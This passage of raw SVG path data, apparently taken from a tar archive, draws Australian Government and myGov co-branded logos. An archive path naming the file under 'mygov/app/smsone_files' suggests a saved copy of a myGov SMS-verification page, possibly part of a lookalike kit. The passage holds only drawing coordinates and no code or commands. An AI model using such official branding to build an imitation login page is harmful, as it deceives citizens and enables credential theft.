d="M217.85,109.67c-.2.38-.44.77-.06,1.15.25.2.58.53,1,.39a1.26,1.26,0,0,0,.82-1.11c-.39-.53-1.2-1-1.77-.43Z" transform="translate(-23 -22)"/><path class="cls-1" d="M221.29,109.86c-.33,0-.43.43-.67.68a1.05,1.05,0,0,0,.63.86c.14,0,.37-.05.47.1a1.18,1.18,0,0,0,.86-1.06c-.14-.58-.86-.63-1.29-.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M125.06,110.39c-.33-.29-.47-.72-1-.53-.23.24-.66.53-.57,1a.93.93,0,0,0,.91.58,1,1,0,0,0,.71-1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M126.6,110.82c.14.39.53.49.86.58a1.13,1.13,0,0,0,.91-.82,1,1,0,0,0-1.1-.72c-.33.24-.72.48-.67,1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M233.44,114.73c.1-.35-.33-.58-.57-.78a9.45,9.45,0,0,0-2.72-3.51c-.39-.15-.87-.68-1.3-.24a9.86,9.86,0,0,0,2.49,3.85c.72.15,1.34,1,2.1.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M233.2,111.93c.43.1,1.06.19,1.34-.29a1.15,1.15,0,0,0,.1-1.06c-.33-.14-.58-.43-.91-.38s-.76.24-.91.62.15.82.38,1.11Z" transform="translate(-23 -22)"/><path class="cls-1" d="M131.86,111.5c-.29.29-.81.38-.57,1a.93.93,0,0,0,1.15.58c.48-.24.38-.82.33-1.2-.29-.24-.52-.44-.91-.34Z" transform="translate(-23 -22)"/><path class="cls-1" d="M222.44,115l-1.34-1.45c-.48-.14-.82-1-1.3-.58a.41.41,0,0,0,.2.49c.81,2.16,1.29,4.33,3.45,5.87h.18c.29-.24-.09-.57.05-.91a7,7,0,0,0-1.24-3.42Z" transform="translate(-23 -22)"/><path class="cls-1" d="M136.69,112.94c-1.48-.19-2.81.49-4.21.92a.39.39,0,0,0-.24.43c2.21,1.3,4.89.49,6.8-.86,0,0-.1-.05,0-.1l-2.3-.39Z" transform="translate(-23 -22)"/><path class="cls-1" d="M121.86,117.42c.48.29.72-.24,1.1-.38,2-.48,3.49-2.46,5.12-3.47v-.38c-2.53.24-5.36,1.63-6.22,4.23Z" transform="translate(-23 -22)"/><path class="cls-1" d="M219.62,115.74c-.24-.39-.58-.39-1-.48-.24.14-.57.19-.71.53s0,.77.43,1a.65.65,0,0,0,.9,0,.77.77,0,0,0,.39-1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M215.64,116a.49.49,0,0,0-.61,0,10.47,10.47,0,0,0-4.89.24c-.24.24-.72.1-.76.48,1.43.39,2.92,1.16,4.54.58a2.65,2.65,0,0,0,1.72-1.25Z" transform="translate(-23 -22)"/><path class="cls-1" d="M127.51,118.15c.38-.15.43-.58.57-.77a1,1,0,0,0-1-.82c-.28.09-.67.19-.76.53s.09.57.19.87a1,1,0,0,0,1,.19Z" transform="translate(-23 -22)"/><path class="cls-1" d="M129.8,117c-.24.14-.57.19-.67.44a1.13,1.13,0,0,0,.15,1,1.06,1.06,0,0,0,1,.34,1.77,1.77,0,0,0,.66-.92c-.19-.38-.61-.87-1.1-.82Z" transform="translate(-23 -22)"/><path class="cls-1" d="M217.08,117.76c-.14.34-.62.58-.33,1,.14.24.23.62.57.67a.81.81,0,0,0,1.05-.19,1.2,1.2,0,0,0,.33-.92,1,1,0,0,0-1.62-.53Z" transform="translate(-23 -22)"/><path class="cls-1" d="M219.86,119.5c.57.23.76-.39,1-.63.1-.2,0-.43-.1-.68-.24-.14-.53-.52-.95-.38a.92.92,0,0,0-.58,1.3c.15.1.29.48.58.39Z" transform="translate(-23 -22)"/><path class="cls-1" d="M127.89,119a1.29,1.29,0,0,0-.58,1.39c.2.63.87.63,1.39.53a1.28,1.28,0,0,0,.48-1.3,1.15,1.15,0,0,0-1.29-.62Z" transform="translate(-23 -22)"/><path class="cls-1" d="M127.89,123.3v.25c.77.48,1.53-.25,2.3-.39,1.34-.77,1.62-2.41,1.72-3.76-1.2,1.35-3,2.46-4,3.9Z" transform="translate(-23 -22)"/><path class="cls-1" d="M210.14,119.83a1,1,0,0,0-.62.53c-.14.34-.1.82.24,1s.86.29,1.15,0,.48-.48.28-.77a1.31,1.31,0,0,0-1.05-.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M137.37,126.54c-.39-1.21,0-2.7-.68-3.81.05-.29-.33-.29-.23-.63a13.06,13.06,0,0,0-1.82-2,.27.27,0,0,0-.34.1c.48,1.69.34,3.62,1.39,5.06.52.49.86,1.4,1.68,1.31Z" transform="translate(-23 -22)"/><path class="cls-1" d="M212.49,120.32c-.24.24-.63.38-.48.86a1.8,1.8,0,0,0,.91.44c.24-.24.67-.34.67-.73a.79.79,0,0,0-1.1-.57Z" transform="translate(-23 -22)"/><path class="cls-1" d="M216.22,120.94c-.19,1.93,1.19,3.33,2.58,4.58H219c.25.1.29-.19.29-.33,0-2-1.48-3.19-2.78-4.3l-.28,0Z" transform="translate(-23 -22)"/><path class="cls-1" d="M214.54,123c-.23.24-.76.48-.71,1,.09.72.9.77,1.43.63a1.11,1.11,0,0,0,.43-.92,1,1,0,0,0-1.15-.67Z" transform="translate(-23 -22)"/><path class="cls-1" d="M208.8,128.7c1.25-1.35,3.06-2.26,3.73-4-.14-.38.63-.91-.14-1A6.73,6.73,0,0,0,208.7,128c0,.19-.14.58.1.72Z" transform="translate(-23 -22)"/><path class="cls-1" d="M214.4,126.43a1.42,1.42,0,0,0,1.06.54c.23-.25.66-.44.66-.87a1,1,0,0,0-1.1-.53c-.28.24-.67.38-.62.86Z" transform="translate(-23 -22)"/><path class="cls-1" d="M166.33,41h14.19a1.19,1.19,0,0,0,0-2.38H166.33a1.19,1.19,0,0,0,0,2.38Zm13.73-2h.52c1,0,.93,1.68,0,1.68-.75,0-1.92-1.68-.53-1.68Zm-5.82,0h1.39c.74,0,2.06,1.68.67,1.68h-1.38c-.75,0-2.07-1.68-.68-1.68Zm-5.81,0h1.39c.74,0,2.05,1.68.66,1.68h-1.39c-.73,0-2.05-1.68-.66-1.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M180.38,62.67,179.27,67l2.72-1,2.66,1-.81-4.31,1.87.51L185,60.86l.72-2.42-2.11.44,1.05-4-2.66,1-2.72-1,1,4-2.07-.34.58,2.32-.58,2.42,2.17-.61ZM182,59c.67,1.55,2-.09,2,1.55,0,.73-.05,1.57-.67,1.57H181.1c-1,0-1-.65-1-1.62,0-1.4,1.34-.19,1.83-1.5Z" transform="translate(-23 -22)"/><path class="cls-1" d="M182.09,60.81c.61,0,1.46.42,1.46-.21,0-.88-.85-.58-1.46-.58s-1.47-.3-1.47.58c0,.63.84.21,1.47.21Z" transform="translate(-23 -22)"/><polygon class="cls-1" points="150.88 37.79 151.1 37.39 150.63 37.43 150.36 36.94 150.08 37.44 149.61 37.39 149.83 37.79 149.47 38.16 149.93 38.25 149.93 38.76 150.36 38.44 150.78 38.76 150.78 38.25 151.24 38.16 150.88 37.79 150.88 37.79"/><polygon class="cls-1" points="147.82 40.96 147.82 41.47 148.25 41.15 148.68 41.47 148.68 40.96 149.14 40.88 148.78 40.5 149 40.1 148.53 40.14 148.25 39.65 147.97 40.15 147.51 40.1 147.72 40.5 147.37 40.88 147.82 40.96 147.82 40.96"/><polygon class="cls-1" points="151.3 40.16 150.94 40.53 151.39 40.62 151.39 41.12 151.82 40.8 152.25 41.12 152.25 40.62 152.7 40.53 152.36 40.16 152.58 39.75 152.1 39.79 151.82 39.31 151.54 39.8 151.08 39.75 151.3 40.16 151.3 40.16"/><polygon class="cls-1" points="152.48 42.37 152.21 42.39 152.06 42.12 151.9 42.4 151.63 42.37 151.76 42.6 151.56 42.81 151.82 42.86 151.82 43.15 152.06 42.97 152.3 43.15 152.3 42.86 152.55 42.81 152.36 42.6 152.48 42.37 152.48 42.37"/><polygon class="cls-1" points="150.52 43.12 149.71 43.18 149.23 42.35 148.75 43.2 147.96 43.12 148.33 43.81 147.72 44.45 148.5 44.59 148.5 45.46 149.23 44.91 149.97 45.46 149.97 44.59 150.75 44.45 150.14 43.81 150.52 43.12 150.52 43.12"/><polygon class="cls-1" points="147.15 10.11 146.88 14.58 150.19 11.58 153.49 14.58 153.22 10.11 157.61 9.38 153.97 6.8 156.14 2.89 151.88 4.15 150.19 0 148.51 4.15 144.23 2.89 146.4 6.8 142.77 9.38 147.15 10.11 147.15 10.11"/><path class="cls-1" d="M152.2,117.05l.63,2.66a1.49,1.49,0,0,0,1,1.28,3.47,3.47,0,0,0,2,0,3.11,3.11,0,0,0,1.73-1,2.27,2.27,0,0,0,.17-1.67l-.6-2.53c-.13-.53.07-.67.58-.86l0-.2-2.09.5,0,.2c.82-.17,1,.08,1.12.56l.57,2.44a1.54,1.54,0,0,1-1.28,2.13c-1.37.32-1.62-.77-1.73-1.23l-.63-2.65c-.16-.71.13-.78.75-1l-.05-.2-3.21.77.05.2c.54-.08.79-.12.95.55Z" transform="translate(-23 -22)"/><path class="cls-1" d="M160.55,117.55l.7.11c.67.11,1.16.2,1.28.73,0,.11.15.91-1,1.16a2,2,0,0,1-2.34-1.27l-.27.06.43,2,.28-.07c0-.13,0-.29.23-.33a9.12,9.12,0,0,0,1.69-.09c1.75-.4,2.14-1.5,2-2.2a1.68,1.68,0,0,0-1.37-1.24l-1.53-.27c-.88-.16-1.1-.29-1.19-.72s.36-.88.86-1a2,2,0,0,1,2.18,1.06l.27-.06-.38-1.73-.28.06c0,.16,0,.29-.26.34a8.66,8.66,0,0,0-1.55.07c-1.81.4-1.86,1.56-1.75,2s.23,1.06,2,1.36Z" transform="translate(-23 -22)"/><path class="cls-1" d="M164.05,115.18c.07-1.33,1.07-1.46,1.74-1.56l.41,4.3c.07.68-.17.72-.87.84l0,.2,3.47-.33,0-.21c-.73,0-1,0-1-.65l-.41-4.3c.67,0,1.68-.09,2,1.19l.28,0-.18-1.64-5.83.56.13,1.65.28,0Z" transform="translate(-23 -22)"/><path class="cls-1" d="M173.52,118.36c-.65-.09-.86-.12-.85-.77l0-1.61H173l2,2.6,1.83,0h0l2,.24,0-.2c-.33-.06-.79-.14-.76-.45a5.59,5.59,0,0,1,.56-1l2.18.28a4.09,4.09,0,0,1,.31,1.13c0,.27-.21.26-.82.22l0,.21,3.14.39,0-.21c-.46,0-.58-.33-.91-1.25l-1.63-4.55-.28,0-2.69,4.18c-.35.54-.53.79-1,.82a.43.43,0,0,1-.31-.16l-1.91-2.36c.53-.13,1.54-.37,1.55-1.38,0-1.37-2-1.48-2.72-1.49l-3.14-.06v.2c.55,0,.85.07.84.78l-.07,3.61c0,.67-.21.69-.87.74v.21l3.29.06v-.2Zm6.37-3.3.73,2.1-1.88-.24,1.15-1.86Zm-7.14-1.43c.05-.25.07-.34.61-.34a1,1,0,0,1,1.16,1.21c0,1.06-.53,1.24-1.81,1.22l0-2.09Z" transform="translate(-23 -22)"/><path class="cls-1" d="M189.75,118.85l-.29,0a2.38,2.38,0,0,1-2.71,1.13c-.64-.12-.84-.22-.77-.61l.69-3.8c.13-.71.42-.66,1.1-.57l0-.19-3.35-.62,0,.2c.43.1.82.19.72.72l-.7,3.91c-.1.49-.39.46-.93.41l0,.21,5.55,1,.73-1.76Z" transform="translate(-23 -22)"/><path class="cls-1" d="M189.36,120.73l3.34.7,0-.2c-.51-.14-.89-.24-.79-.76l.81-3.88c.11-.54.57-.46,1-.38l.05-.19-3.35-.71,0,.2c.43.12.88.23.77.76l-.81,3.88c-.1.49-.48.45-1,.38l0,.2Z" transform="translate(-23 -22)"/><path class="cls-1" d="M192.91,121.41l0,.2,2,.21,0-.21c-.33,0-.8-.12-.77-.42a4.88,4.88,0,0,1,.54-1l2.19.22a4.28,4.28,0,0,1,.33,1.13c0,.27-.2.26-.81.24l0,.2,3.15.33,0-.2c-.47,0-.6-.33-.94-1.25l-1.73-4.5-.27,0L194,120.56c-.35.58-.51.84-1,.85Zm3-3.42.78,2.08-1.89-.2,1.11-1.88Z" transform="translate(-23 -22)"/><path class="cls-1" d="M171.48,57.26v.58a.28.28,0,0,0,.27.28h2.09a.29.29,0,0,0,.28-.28v-.63a1.3,1.3,0,0,0,.42-1c0-2-1.11-.12-1.72-1.8-.44,1.42-1.77.23-1.77,1.75a1.2,1.2,0,0,0,.43,1.1Zm1.23-1.71c.57,0,1.47-.21,1.47.75,0,.68-.78.29-1.35.29s-1.35.39-1.35-.29c0-1,.66-.75,1.23-.75Z" transform="translate(-23 -22)"/><path class="cls-1" d="M191.66,80.36a.8.8,0,1,0,0-1.59.8.8,0,1,0,0,1.59Z" transform="translate(-23 -22)"/><path class="cls-1" d="M187.42,52.53a.45.45,0,0,0,.43-.47s-.43-.85-.43-.85a4.75,4.75,0,0,0-.43.85.45.45,0,0,0,.43.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M158.52,52.53a.45.45,0,0,0,.43-.47s-.44-.85-.44-.85a4.8,4.8,0,0,0-.42.85.45.45,0,0,0,.43.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M165.75,52.53a.45.45,0,0,0,.42-.47s-.43-.85-.43-.85a4.8,4.8,0,0,0-.42.85.45.45,0,0,0,.43.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M173,52.53a.45.45,0,0,0,.43-.47s-.44-.85-.44-.85a4.8,4.8,0,0,0-.42.85.45.45,0,0,0,.43.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M180.19,52.53a.45.45,0,0,0,.43-.47s-.43-.85-.43-.85a4.75,4.75,0,0,0-.43.85.46.46,0,0,0,.43.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M158.09,62a.46.46,0,0,0,.43.47A.45.45,0,0,0,159,62a5.17,5.17,0,0,0-.42-.85s-.44.83-.44.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M158.09,71.62a.46.46,0,0,0,.43.47.45.45,0,0,0,.43-.47,4.8,4.8,0,0,0-.42-.85s-.44.83-.44.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M159.25,79.24a.45.45,0,0,0,.42.47.46.46,0,0,0,.44-.47,5,5,0,0,0-.43-.84l-.43.84Z" transform="translate(-23 -22)"/><path class="cls-1" d="M165.31,83.3a.43.43,0,1,0,.86,0,5.12,5.12,0,0,0-.43-.85l-.43.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M187.36,62a.45.45,0,0,0,.43.47.46.46,0,0,0,.43-.47s-.44-.85-.44-.85a5.17,5.17,0,0,0-.42.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M187.36,71.62a.45.45,0,0,0,.43.47.46.46,0,0,0,.43-.47s-.44-.85-.44-.85a4.8,4.8,0,0,0-.42.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M186.2,79.24a.43.43,0,1,0,.86,0l-.44-.84a5,5,0,0,0-.42.84Z" transform="translate(-23 -22)"/><path class="cls-1" d="M180.14,83.3a.45.45,0,0,0,.43.48.46.46,0,0,0,.43-.48l-.44-.85a5.17,5.17,0,0,0-.42.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M172.76,87.6a.43.43,0,1,0,.86,0l-.43-.84a5,5,0,0,0-.43.84Z" transform="translate(-23 -22)"/><path class="cls-1" d="M179.89,75.35c-.4.83-.4,2-1.35,2.43a.75.75,0,0,0-.28.73l.23.19c.59-.32,1.72-.42,1.64-1.42a3.42,3.42,0,0,1,.86-1.19.94.94,0,0,1,1,.5A1.8,1.8,0,0,1,180.8,78c-.08.09,0,.23,0,.37.18.32.68.18,1,.14.77-.51,1.09-1.42,1.77-1.7.09.46-.91.6-.27,1,.41-.09.95.05,1.23-.5-.32-.78,1.08-1.14.22-1.83,0-.68.73-1,.69-1.69-.28-.74-1.14-.74-1.37-1.42a1,1,0,0,1,.95,0c.09.14.32.18.61.08l.27-.78c0-.05-.31-.36-.51-.31-.77.18-1.59.28-2.05,1a1.53,1.53,0,0,0,.73,1.19c.27-.09.32.18.5.32a.32.32,0,0,1-.32.41c-.54-.55-1.5.18-1.91-.5.19-.69.55-1.47,0-2.11,0-.14.27-.27.14-.41-.23-.64-.92-.14-1.33-.14a1.77,1.77,0,0,0-1.64.82,1.35,1.35,0,0,0,.37.69c.18,0,.27,0,.32.19l-.46.27a.9.9,0,0,1,.18.51c-.31.13-.63-.33-.77-.56s.05-1-.45-1.1a2,2,0,0,0-.4.14,1.32,1.32,0,0,0-.18.76,3.21,3.21,0,0,0,.17.81,7.69,7.69,0,0,1,1.72,1.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M151.74,79.12a.8.8,0,1,0,0,1.59.8.8,0,1,0,0-1.59Z" transform="translate(-23 -22)"/><path class="cls-1" d="M104,107.23a.89.89,0,1,0,.89-.85.87.87,0,0,0-.89.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M145.86,122.61l0,.2,2-.23,0-.21c-.32,0-.79,0-.83-.25a4.87,4.87,0,0,1,.31-1.1l2.18-.26a4.48,4.48,0,0,1,.57,1c0,.28-.14.3-.74.41l0,.21,3.15-.37,0-.2c-.47.07-.65-.19-1.19-1l-2.66-4-.27,0-1.64,4.7c-.22.65-.32.94-.84,1.07Zm2.23-4,1.21,1.86-1.89.23.68-2.09Z" transform="translate(-23 -22)"/><path class="cls-1" d="M542,109.18H547v-19a13.49,13.49,0,0,1,3.47-2.93,7.75,7.75,0,0,1,4-1.16,5.33,5.33,0,0,1,4.28,1.67c1,1.11,1.42,2.84,1.42,5.17v16.2h5.06v-17q0-5.28-2.42-8t-7-2.72a10.6,10.6,0,0,0-5.35,1.3,14.06,14.06,0,0,0-4.12,3.6l.7,1.46V82.05H542v27.13Zm22.87-19a15.51,15.51,0,0,1,3.64-2.88,8.36,8.36,0,0,1,4.22-1.16,5.26,5.26,0,0,1,4.23,1.67c1,1.11,1.42,2.84,1.42,5.17v16.2h5.06v-17c0-3.52-.8-6.19-2.42-8s-4-2.72-7-2.72a11.65,11.65,0,0,0-5.52,1.27,18.28,18.28,0,0,0-4.66,3.63l1,3.77Zm26.43,30.63a9.9,9.9,0,0,0,7-2.59q2.81-2.58,5.06-8.45l11.09-27.72H609l-7.65,20.19-8.61-20.19h-5.6l12.22,27.56.11-3.55-1,2.58a14.29,14.29,0,0,1-3.66,5.79,7.28,7.28,0,0,1-4.79,1.69h-.27l1,4.69Zm54.07-12a31.32,31.32,0,0,0,6.43-2.58V90h-13v4.79h7.64v7.8a18.29,18.29,0,0,1-3.82,1.38,22.55,22.55,0,0,1-5.22.51,14.62,14.62,0,0,1-7.35-1.81,12.63,12.63,0,0,1-5-5.06,15.45,15.45,0,0,1-1.77-7.5A16,16,0,0,1,625,82.54a12.88,12.88,0,0,1,4.74-5.09,12.64,12.64,0,0,1,6.65-1.8,12.24,12.24,0,0,1,6.16,1.48,16.46,16.46,0,0,1,4.66,4l4.3-3.29a18.21,18.21,0,0,0-6.35-5.43,18.56,18.56,0,0,0-8.72-2,19,19,0,0,0-9.58,2.45A17.69,17.69,0,0,0,620,79.82a20.9,20.9,0,0,0-2.5,10.31,20.6,20.6,0,0,0,2.48,10.2,17.43,17.43,0,0,0,7,6.91,21.2,21.2,0,0,0,10.41,2.48,30.08,30.08,0,0,0,7.94-.92Zm35.34-.88a13,13,0,0,0,5.11-5,15.46,15.46,0,0,0,0-14.59,12.94,12.94,0,0,0-5.11-5,16.38,16.38,0,0,0-15,0,13.08,13.08,0,0,0-5.14,5,15.19,15.19,0,0,0,0,14.53,13.11,13.11,0,0,0,5.14,5,16.46,16.46,0,0,0,15,0Zm-12.22-4.12a8.42,8.42,0,0,1-3.28-3.31,10.56,10.56,0,0,1,0-9.74,8.38,8.38,0,0,1,3.28-3.32,10.09,10.09,0,0,1,9.47,0,8.32,8.32,0,0,1,3.26,3.29,10.8,10.8,0,0,1,0,9.74A8.25,8.25,0,0,1,678,103.8a10.15,10.15,0,0,1-9.5,0Zm32.19,5.38h4.52l11.3-27.13h-5.33l-9,22.45h1.62l-8.88-22.45h-5.6l11.36,27.13Z" transform="translate(-23 -22)"/></svg>mygov/app/smsone_files/myGov-cobranded-logo-white.svg000064400000175214151676702570017022 0ustar00<svg id="Layer_1" data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 693.47 150.57"><defs><style>.cls-1{fill:#fff;}</style></defs><path class="cls-1" d="M420,22.09a8.76,8.76,0,0,0-8.76,8.76V53.51L455,97.33l-43.82,43.81v22.67A8.75,8.75,0,0,0,426.12,170l72.71-72.69L426.15,24.65a8.75,8.75,0,0,0-6.2-2.56Z" transform="translate(-23 -22)"/><path class="cls-1" d="M382.31,24.63a8.76,8.76,0,0,0-14.93,6.22V163.78a8.76,8.76,0,0,0,15,6.18l28.81-28.82V53.51L382.31,24.63Z" transform="translate(-23 -22)"/><path class="cls-1" d="M42.11,167.84,34.5,150.55h-.29l-7.54,16.82a12.72,12.72,0,0,1-1.81,3.19,3.17,3.17,0,0,1-1.86.94v.57h7v-.57a6,6,0,0,1-2.07-.38,1.4,1.4,0,0,1-.71-1.31,4.58,4.58,0,0,1,.43-1.69l.89-2.05H36l1.12,2.63c.29.68.44,1.07.46,1.16a2,2,0,0,1,.1.58.82.82,0,0,1-.35.71,3.13,3.13,0,0,1-1.72.35h-.42v.57h10.2v-.57a2.41,2.41,0,0,1-1.49-.57,10.4,10.4,0,0,1-1.79-3.09Zm-13-2.92,3.24-7.26,3.14,7.26Z" transform="translate(-23 -22)"/><path class="cls-1" d="M58.31,168.92V157.53H52.39v.58a1.86,1.86,0,0,1,1.26.52,4.06,4.06,0,0,1,.31,2.06v7.77a6.46,6.46,0,0,1-1.49,1.63,1.79,1.79,0,0,1-1,.3,1.28,1.28,0,0,1-.75-.23,1.38,1.38,0,0,1-.46-.69,8.14,8.14,0,0,1-.15-2v-9.93H44.18v.58a1.86,1.86,0,0,1,1.26.52,4.06,4.06,0,0,1,.31,2.06v5.76a13,13,0,0,0,.33,3.54,3.72,3.72,0,0,0,1.27,1.77,3.49,3.49,0,0,0,2.19.74,4.75,4.75,0,0,0,2.33-.56A7.51,7.51,0,0,0,54,170.13v1.94h5.93v-.56a1.82,1.82,0,0,1-1.27-.51,4.34,4.34,0,0,1-.31-2.08Z" transform="translate(-23 -22)"/><path class="cls-1" d="M67.32,162.68a15.49,15.49,0,0,1-2.78-2.19,1.29,1.29,0,0,1-.31-.81,1.33,1.33,0,0,1,.45-1,1.54,1.54,0,0,1,1.09-.43,3.25,3.25,0,0,1,2,.81,7.72,7.72,0,0,1,2,3h.54l-.24-5h-.53a3.33,3.33,0,0,1-.55.67.92.92,0,0,1-.44.1,1.46,1.46,0,0,1-.69-.23,5,5,0,0,0-2.29-.58,4.23,4.23,0,0,0-3.36,1.37,4.6,4.6,0,0,0-1.14,3,4.38,4.38,0,0,0,1,2.81,16.4,16.4,0,0,0,3.08,2.52,11.42,11.42,0,0,1,2.08,1.65,1.92,1.92,0,0,1,.47,1.29,1.53,1.53,0,0,1-.48,1.12,1.67,1.67,0,0,1-1.22.45,3.69,3.69,0,0,1-2.31-1,6.7,6.7,0,0,1-1.91-3.08h-.53l.25,5.23H62c.23-.52.51-.78.85-.78a2.06,2.06,0,0,1,.64.17,8.65,8.65,0,0,0,2.79.66,5,5,0,0,0,2.44-.63,4.32,4.32,0,0,0,1.71-1.78,5.07,5.07,0,0,0,.6-2.39,4.2,4.2,0,0,0-.73-2.41,11.08,11.08,0,0,0-3-2.62Z" transform="translate(-23 -22)"/><path class="cls-1" d="M77.76,152.21h-.52a17,17,0,0,1-2.41,3.41,20.51,20.51,0,0,1-3.32,2.91v.54H73.4v7.85a14.75,14.75,0,0,0,.16,2.86,3.45,3.45,0,0,0,1.21,1.73,3.68,3.68,0,0,0,2.35.76,4.25,4.25,0,0,0,4.09-3l-.47-.34c-.6,1-1.24,1.54-1.91,1.54a.93.93,0,0,1-.55-.22,1.24,1.24,0,0,1-.41-.59,6.93,6.93,0,0,1-.11-1.63v-9h3.45v-1.54H77.76v-5.32Z" transform="translate(-23 -22)"/><path class="cls-1" d="M92.94,157.1a3.8,3.8,0,0,0-2.1.74,10.67,10.67,0,0,0-2.53,3v-3.3H82.37v.58a2.36,2.36,0,0,1,1,.27,1.24,1.24,0,0,1,.45.64,5.68,5.68,0,0,1,.13,1.59v8a4.78,4.78,0,0,1-.35,2.35,1.69,1.69,0,0,1-1.27.51v.56h7.85v-.56a3.48,3.48,0,0,1-1.24-.23,1.36,1.36,0,0,1-.55-.63,3.58,3.58,0,0,1-.11-1.13v-4.21A10.59,10.59,0,0,1,88.8,162a3.22,3.22,0,0,1,1-1.51,1.29,1.29,0,0,1,.86-.34.68.68,0,0,1,.35.09c.07,0,.31.24.72.59a2.11,2.11,0,0,0,1.43.53,1.55,1.55,0,0,0,1.21-.57,2.39,2.39,0,0,0,.52-1.62,2,2,0,0,0-.54-1.51,1.77,1.77,0,0,0-1.38-.54Z" transform="translate(-23 -22)"/><path class="cls-1" d="M107.85,170.28a.56.56,0,0,1-.36-.12.79.79,0,0,1-.23-.38,6,6,0,0,1-.08-1.26v-5.64a12.51,12.51,0,0,0-.22-3,4,4,0,0,0-1.57-1.9,5.39,5.39,0,0,0-3.26-.88,9.85,9.85,0,0,0-3.3.54,5.5,5.5,0,0,0-2.48,1.57,3.18,3.18,0,0,0-.88,2.13,1.82,1.82,0,0,0,.66,1.39,2.38,2.38,0,0,0,1.64.58,2.07,2.07,0,0,0,1.48-.52,1.75,1.75,0,0,0,.58-1.31,2,2,0,0,0-.6-1.29,1.34,1.34,0,0,1-.43-.81.77.77,0,0,1,.4-.65,2.87,2.87,0,0,1,1.66-.45,2,2,0,0,1,1.13.32,1.61,1.61,0,0,1,.66.75,6.5,6.5,0,0,1,.19,2.07v1.46a26.31,26.31,0,0,0-6.23,3.55,4,4,0,0,0-1.43,3,2.76,2.76,0,0,0,.82,2.05,2.84,2.84,0,0,0,2.07.81q2.1,0,4.77-2.35a2.72,2.72,0,0,0,.86,1.78,3,3,0,0,0,1.94.57,3.49,3.49,0,0,0,1.88-.51,5.94,5.94,0,0,0,1.62-1.68l-.46-.37a1.13,1.13,0,0,1-.83.57Zm-5-1.49a3,3,0,0,1-1.8.87,1.45,1.45,0,0,1-1.09-.42,1.79,1.79,0,0,1-.52-1.26,2.93,2.93,0,0,1,.61-1.7,9,9,0,0,1,2.8-2.36v4.87Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.48,169.05V151h-6.1v.58a1.9,1.9,0,0,1,1.39.5,3.47,3.47,0,0,1,.35,1.94v15.05a3.46,3.46,0,0,1-.31,1.9,1.9,1.9,0,0,1-1.43.56v.56h7.85v-.56a2,2,0,0,1-1.4-.48,3.53,3.53,0,0,1-.35-2Z" transform="translate(-23 -22)"/><path class="cls-1" d="M119.74,152.9a2.39,2.39,0,0,0,2.39,2.39,2.32,2.32,0,0,0,1.7-.7,2.4,2.4,0,0,0-1.7-4.1,2.25,2.25,0,0,0-1.69.71,2.3,2.3,0,0,0-.7,1.7Z" transform="translate(-23 -22)"/><path class="cls-1" d="M124.31,169.05V157.53h-6.1v.58a1.9,1.9,0,0,1,1.39.49,3.44,3.44,0,0,1,.35,2v8.49a3.46,3.46,0,0,1-.31,1.9,1.9,1.9,0,0,1-1.43.56v.56h7.85v-.56a1.94,1.94,0,0,1-1.39-.48,3.5,3.5,0,0,1-.36-2Z" transform="translate(-23 -22)"/><path class="cls-1" d="M139.55,170.28a.55.55,0,0,1-.35-.12.67.67,0,0,1-.23-.38,5.11,5.11,0,0,1-.09-1.26v-5.64a12.71,12.71,0,0,0-.21-3,4,4,0,0,0-1.57-1.9,5.37,5.37,0,0,0-3.26-.88,9.85,9.85,0,0,0-3.3.54,5.55,5.55,0,0,0-2.48,1.57,3.18,3.18,0,0,0-.88,2.13,1.81,1.81,0,0,0,.65,1.39,2.41,2.41,0,0,0,1.65.58,2.09,2.09,0,0,0,1.48-.52,1.74,1.74,0,0,0,.57-1.31,2,2,0,0,0-.59-1.29,1.36,1.36,0,0,1-.44-.81.79.79,0,0,1,.41-.65,2.87,2.87,0,0,1,1.66-.45,2,2,0,0,1,1.13.32,1.64,1.64,0,0,1,.67.75,7,7,0,0,1,.18,2.07v1.46a26.67,26.67,0,0,0-6.24,3.55,4,4,0,0,0-1.43,3,2.77,2.77,0,0,0,.83,2.05,2.8,2.8,0,0,0,2.07.81c1.4,0,3-.78,4.77-2.35a2.71,2.71,0,0,0,.85,1.78,3,3,0,0,0,1.94.57,3.52,3.52,0,0,0,1.89-.51,5.94,5.94,0,0,0,1.62-1.68l-.47-.37c-.28.38-.55.57-.83.57Zm-5-1.49a3,3,0,0,1-1.81.87,1.42,1.42,0,0,1-1.08-.42,1.74,1.74,0,0,1-.51-1.26,2.91,2.91,0,0,1,.6-1.7,9.17,9.17,0,0,1,2.8-2.36v4.87Z" transform="translate(-23 -22)"/><path class="cls-1" 